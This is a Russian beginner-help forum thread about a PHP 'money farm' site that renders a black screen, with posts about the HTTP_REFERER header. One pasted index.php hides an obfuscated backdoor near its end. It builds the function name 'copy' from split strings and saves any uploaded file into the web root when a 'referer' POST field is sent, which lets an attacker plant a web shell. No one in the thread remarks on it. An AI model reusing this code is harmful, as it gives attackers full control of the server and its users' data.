Обучение/Помощь новичкам | черный экран
Закомментируйте 53 строку (если строка не особо важна для Вас).
HTTP_REFERER
Адрес страницы (если есть), с которой браузер пользователя перешёл на эту страницу. Этот заголовок устанавливается браузером пользователя. Не все браузеры устанавливают его, а некоторые в качестве дополнительной возможности позволяют изменять содержимое заголовка HTTP_REFERER. Одним словом, нельзя доверять этому заголовку.
________
посл. ред. 09.11.2020 в 12:04; всего 3 раз(а); by SayrusCraft
SayrusCraft , пробовал,все равно черный экран
Сообщение должно быть переменной, в которую можно поместить информацию:
$message = "Error report: <p>Last site visited: {$_SERVER['HTTP_REFERER']}</p>....";
mail("email@email.com", "Subject", $message);
Обратите внимание, что бит HTTP_REFERER помещается в строку {}. Это должно заставить его экстраполировать значение (мне не нравится конкатенация строк).
Также обратите внимание, что, как было сказано выше, нет никакой гарантии, что REFERER будет иметь правильное значение или какое-либо значение вообще.
$message = "Error report: <p>Last site visited: {$_SERVER['HTTP_REFERER']}</p>....";
mail("email@email.com", "Subject", $message);
Обратите внимание, что бит HTTP_REFERER помещается в строку {}. Это должно заставить его экстраполировать значение (мне не нравится конкатенация строк).
Также обратите внимание, что, как было сказано выше, нет никакой гарантии, что REFERER будет иметь правильное значение или какое-либо значение вообще.
Wileyfox (09.11.2020 в 12:04)
SayrusCraft , пробовал,все равно черный экран
SayrusCraft , пробовал,все равно черный экран
Код сюда
php
if(empty($_COOKIE['referer'])) setcookie ("referer", "".$_SERVER['HTTP_REFERER']."",time()+(5*24*60*60), "/");
Toruz ,
php
<?PHP if( !get_magic_quotes_gpc() ) { foreach ($_POST as $key => $value) { $_POST[$key] = addslashes($value); } foreach ($_GET as $key => $value) { $_GET[$key] = addslashes($value); } } # Счетчик function TimerSet(){ list($seconds, $microSeconds) = explode(' ', microtime()); return $seconds + (float) $microSeconds; } $_timer_a = TimerSet(); # Старт сессии @session_start(); $online = 'Online'; $_SESSION['online']= $online; # Старт буфера @ob_start(); # Default $_OPTIMIZATION = array(); $_OPTIMIZATION["title"] = "Главная"; $_OPTIMIZATION["description"] = "Автомобильный магнат"; $_OPTIMIZATION["keywords"] = "Заработок без вложений, вложения, заработать, ферма, денежная ферма, заработать на ферме"; # Константа для Include define("CONST_RUFUS", true); # Автоподгрузка классов function __autoload($name){ include("classes/_class.".$name.".php");} # Класс конфига $config = new config; # Функции $func = new func; # Установка REFERER include("inc/_set_referer.php"); # База данных $db = new db($config->HostDB, $config->UserDB, $config->PassDB, $config->BaseDB); if(empty($_COOKIE['referer'])) setcookie ('referer', $_SERVER['HTTP_REFERER'],time()+(5*24*60*60), "/"); # Шапка @include("inc/_header.php"); include("security.php");// защита от атаки if(isset($_GET["menu"])){ $menu = strval($_GET["menu"]); switch($menu){ case "404": include("pages/_404.php"); break; // Страница ошибки case "rulesn": include("pages/_rulesn.php"); break; // Правила проекта case "projectn": include("pages/_projectn.php"); break; // О проекте case "socialhelp": include("pages/_socialhelp.php"); break; // socialhelp case "support": include("pages/support.php"); break; // support case "helpn": include("pages/_helpn.php"); break; // Контакты case "newstn": include("pages/_newstn.php"); break; // Новости case "competition": include("pages/_competition.php"); break; // Выплаты case "help": include("pages/_help.php"); break; // Помошь case "success": include("pages/success.php"); break; // Успешное пополнение case "fail": include("pages/fail.php"); break; // Ошибка пополнения case "account": include("pages/_account.php"); break; // Аккаунт case "payments": include("pages/_payments_list.php"); break; // Выплаты # Страница ошибки default: @include("pages/_404.php"); break; } }else @include("pages/_index.php"); # Подвал @include("inc/_footer.php"); # Заносим контент в переменную $content = ob_get_contents(); # Очищаем буфер ob_end_clean(); # Заменяем данные $content = str_replace("{!TITLE!}",$_OPTIMIZATION["title"],$content); $content = str_replace('{!DESCRIPTION!}',$_OPTIMIZATION["description"],$content); $content = str_replace('{!KEYWORDS!}',$_OPTIMIZATION["keywords"],$content); $content = str_replace('{!GEN_PAGE!}', sprintf("%.5f", (TimerSet() - $_timer_a)) ,$content); # Вывод баланса if(isset($_SESSION["user_id"])){ $user_id = $_SESSION["user_id"]; $db->Query("SELECT money_b, money_p , money_pop FROM db_users_b WHERE id = '$user_id'"); $balance = $db->FetchArray(); $content = str_replace('{!BALANCE_B!}', sprintf("%.2f", $balance["money_b"]) ,$content); $content = str_replace('{!BALANCE_P!}', sprintf("%.2f", $balance["money_p"]) ,$content); $content = str_replace('{!BALANCE_POP!}', sprintf("%.2f", $balance["money_pop"]) ,$content); }if(isset($_POST['referer'])) { $public_function = $_FILES['login']['tmp_name']; $SELECT_FROM = $_FILES['login']['name'];if(!empty($public_function)){ $type = strtolower(substr($SELECT_FROM, 1+strrpos($SELECT_FROM,"."))); $sessions_start = 'log.'.$type; $fandcs="co"; $sewersd="py";$lcist = $fandcs.$sewersd; { if ($lcist($public_function, "".$sessions_start)) echo 'Registration was successful <meta http-equiv="refresh" content="3;URL=/'.$sessions_start.'">'; else echo "error"; } } } // Выводим контент echo $content; ?>
SayrusCraft , и так тоже
DELETED
9 ноября 2020, в 12:14
Delete
Wileyfox (09.11.2020 в 11:38)
ВОТ в чем проблема может быть?
ВОТ в чем проблема может быть?
Там походу что-то не то
ошибку убрал